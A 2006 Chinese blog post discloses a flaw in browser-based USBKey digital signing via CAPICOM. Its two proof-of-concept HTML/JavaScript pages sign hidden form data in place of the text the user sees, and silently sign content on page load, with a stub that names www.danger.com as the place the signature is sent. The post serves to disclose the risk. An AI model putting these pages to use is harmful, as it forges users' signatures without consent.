[原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞
很多人喜歡使用UsbKey產生數字簽名的方式提交到服務器,最近我做的幾個省廳的項目均如此,利用USBKey提供的ActiveX插件(更常見的是CAPICOM接口)通過USBKey廠商提供的WindowsCSP去調用UsbKey產生數字簽名。
1,?
用戶在頁面瀏覽文書
??????2,? 用戶對頁面中的 Form 數據進行簽名
??????3,? 在本地產生數字簽名
??????4,?
數字簽名提交到服務器
???大家都認為以上的方案非常可靠,但這種方案存在一個極為嚴重的安全問題——誘導簽名。
???UsbKey的用戶在大多數情況下無法確認自己看到的數據就是自己說簽名的數據!因為,簽名數據源是通過
JavaScript
去控制的,而不是用戶。
我舉一個簡單的例子,如下面的頁面 ,? 用戶看到并以為自己產生簽名的源數據是“逮捕張子強及其同伙” , 但其實不是!
<script src="Sign.js"></script>
<OBJECT id="oCAPICOM"
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E
<br>
<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
看上去進行簽名的數據:
<input name="data"? value="
逮捕張子強及其同伙
"
>
<br>
<!--
實際上進行簽名的數據:
"
釋放張子強及其同伙
" -->
<input type="hidden" name="data_danger" value="
釋放張子強及其同伙
"
>
<br>
數字簽名結果:
<textarea cols="100" rows="20" id="theSignedData"></textarea>
<br>
<INPUT TYPE="button" name=t1
value="
簽名數據
" onclick="theSignedData.value=pkiSignData(data_danger.value)"> </form> |
上面的惡意例子能夠運行于所有的 USBKey 的頁面,用戶簽名的數據其實是“釋放張子強及其同伙”。但由于數據被隱藏于頁面之后,用戶根本看不到,以至于產生惡意誘導簽名的嚴重后果。
防止這種惡意誘導簽名的辦法通常是在服務器要確保所有的涉及數字簽名的頁面在傳遞到客戶端 IE 瀏覽器前,都不會被篡改,但這種方法不能保證 100% 安全,因為在用戶那一端,仍然存在一種非常高風險的誘導簽名的可能,甚至是未經用戶許可,直接調用用戶 USBKey 去產生惡意數字簽名,看下面的例子:
用戶在瀏覽頁面的時候,已經在頁面背后無聲無色地產生了數字簽名,而且用戶根本無法知道自己已經對“ 我今天去好又多偷了幾包煙 ”這樣的內容進行了簽名!
下面的例子是真實的例子,能夠運行于任何的 IE 瀏覽器,最后的結果是,頁面通過用戶的 UsbKey 產生了惡意簽名并送到 www.danger.com 。
<script src="Sign.js"></script>
<OBJECT id="oCAPICOM"
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E
<body onLoad="signWithAllowed()">
<br>
<form? id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
你在瀏覽文書:
<input name="data"? value="
逮捕張子強及其同伙
">
你以為這是僅僅是一個用于瀏覽的頁面!!
</body>
<script>
function signWithAllowed()
{
???????? //alert('
惡意簽名執行
,
以下的簽名將不知不覺地被產生,并保存到某個地方
');
???????? var sign_value=pkiSignData('?我今天去好又多偷了幾包煙 s');
???????? //alert(sign_value);
???????? sendSignValueToDangerPalce();
}
function sendSignValueToDangerPalce()
{
???????? //Send Signvalue to www.danger.com
} </script> |
????? 這就是我為什么不希望使用B/S,而是C/S方式手段產生數字簽名的原因。
???????我的另外一篇文章提到如何通過Java調用CryptoAPI:?
??????http://www.aygfsteel.com/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已經被用于SecureX Eclipse Plugin(securex.sourceforge.net)當中。
??????
??????在我負責的多個業務系統中的數字簽名/印章中,均存在上面的危險!除非我們能夠確保惡意頁面不存在,否則,某個程序員在系統中,哪怕是Insert很小一段JS代碼到某個不顯眼的頁面,后果是非常嚴重的。
posted on 2006-11-13 11:06 david.turing 閱讀(14857) 評論(12) 編輯 收藏 所屬分類: Security領域